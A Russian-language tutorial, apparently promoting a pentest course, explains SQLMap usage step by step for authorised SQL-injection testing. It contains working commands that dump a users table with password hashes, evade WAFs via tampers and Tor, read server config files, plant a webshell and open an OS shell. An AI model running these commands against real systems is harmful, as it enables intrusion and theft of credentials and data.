Главная
SQLMap: с нуля — как превратить автоматизацию в осознанный пентест
SQLMap — это не “волшебная кнопка”, а инструмент, который ускоряет то, что вы и так понимаете. Он умеет находить и эксплуатировать SQL-инъекции, перечислять базы и таблицы, доставать данные, а в разрешённых условиях — читать/писать файлы и даже выполнять команды ОС.
Ключ — понимать, что именно делает SQLMap и зачем, а не слепо копировать чужие команды.
Из чего состоит работа SQLMap (в двух словах)
-
Пальпация параметров: выявляет, какие параметры запроса управляют SQL.
-
Детект движка БД: определяет DBMS (MySQL, PostgreSQL, MSSQL, Oracle и т.д.) и подбирает технику.
-
Техники инъекции: Boolean-based, Error-based, Union-based, Time-based, Stacked queries.
-
Эксплуатация: перечисление схем → выбор таблиц/столбцов → извлечение данных → (опционально) файловые/OS-фичи.
Быстрый старт: первый осознанный запуск
Минимум для проверки конкретного параметра:
sqlmap -u "https://site.tld/item.php?id=1" -p id --batch
-
-u— целевой URL, -
-p id— какой параметр тестируем, -
--batch— не задавать вопросы (для скриптов/демо, в живых тестах лучше отвечать вручную).
Совет: всегда воспроизводите реальный запрос из Burp/браузера, а не “похожий”.
Как читать вывод SQLMap (и не теряться)
Обращайте внимание на:
-
Detected DBMS — правильно ли определён движок БД.
-
Injection type/technique — на какой технике сработало.
-
Payload — что именно подставлено.
-
Parameter — какой параметр уязвим (URL, POST, Cookie, Header).
Если детект “прыгает” — поднимите детализацию:-v 3(или выше).
Практика: атака через реальный HTTP-запрос
Когда цель сложнее простого URL (сессии, заголовки, тело запроса), используйте сырой запрос:
sqlmap -r request.txt --batch
Где request.txt — сохранённый из Burp запрос (с методами, куки, токенами и т.д.).
Полезные флаги рядом:
-
--cookie="SESSION=..."/--headers="X-Token: ..." -
--data="q=test&sort=asc"(для POST/JSON можно--data/--json)
Перечисление и извлечение данных без лишнего шума
Чёткая последовательность:
sqlmap -r request.txt --dbs # какие базы
sqlmap -r request.txt -D appdb --tables # таблицы в appdb
sqlmap -r request.txt -D appdb -T users --columns # столбцы в users
sqlmap -r request.txt -D appdb -T users -C id,email,hash --dump # извлечь выборочно
Точечный --dump экономит время, логи и не плодит ненужные дампы.
Когда “что-то не так”: отладка и устойчивость
-
Ошибки БД в ответе:
--parse-errorsпокажет скрытые сообщения SQL. -
Чувствительность: увеличьте глубину тестов
--level 5 --risk 3. -
Техники: сузьте поиск
--technique=BEUST(например, толькоTдля time-based). -
Стабильность:
--timeout,--retries,--delay/--randomizeдля шумных/хрупких целей. -
Вербозность:
-v 4..6для детальной диагностики.
Обход WAF и фильтров (этично и аккуратно)
-
Маскировка:
--random-agent,--proxy, при необходимости--tor. -
Тамперы (обфускация payload’ов):
--tamper=space2comment,charunicodeescape,betweenи др. -
Дросселирование:
--delay 0.5,--threads 1..— чтобы не триггерить rate-limit.
Всегда соблюдайте правила теста: только с письменным разрешением и в оговорённые окна.
Файлы и команды ОС (только при явном разрешении)
-
Чтение файла:
--file-read="/var/www/html/config.php" -
Запись файла:
--file-write=webshell.php --file-dest=/var/www/html/shell.php -
Команды ОС:
--os-shell(или--os-cmd="id"для единичной команды)
Эти функции зависят от прав БД/сервера и допустимы лишь в рамках согласованного теста.
Небольшой чек-лист запуска SQLMap
-
Зафиксируйте реальный запрос в Burp → сохраните в
request.txt. -
Определите параметр/вектор (URL/POST/Cookie/Header).
-
Проба:
sqlmap -r request.txt -p targetParam. -
Уточните технику/уровень:
--technique=...,--level/--risk. -
Перечисляйте точечно:
--dbs → --tables → --columns → --dump -C. -
Документируйте шаги, payload’ы и доказательства (скрины, логи).
-
В финале — рекомендации по защите (prepared statements, least privilege, скрытие ошибок SQL).
Хочешь уверенно владеть SQLMap без “копипасты из интернета”?
В модуле «SQLMap: с нуля» 9 уроков, из них 7 — практические стенды: от первого запуска и отладки до обхода WAF и выполнения команд ОС. Ты отработаешь реальные сценарии пентеста, а не абстракции.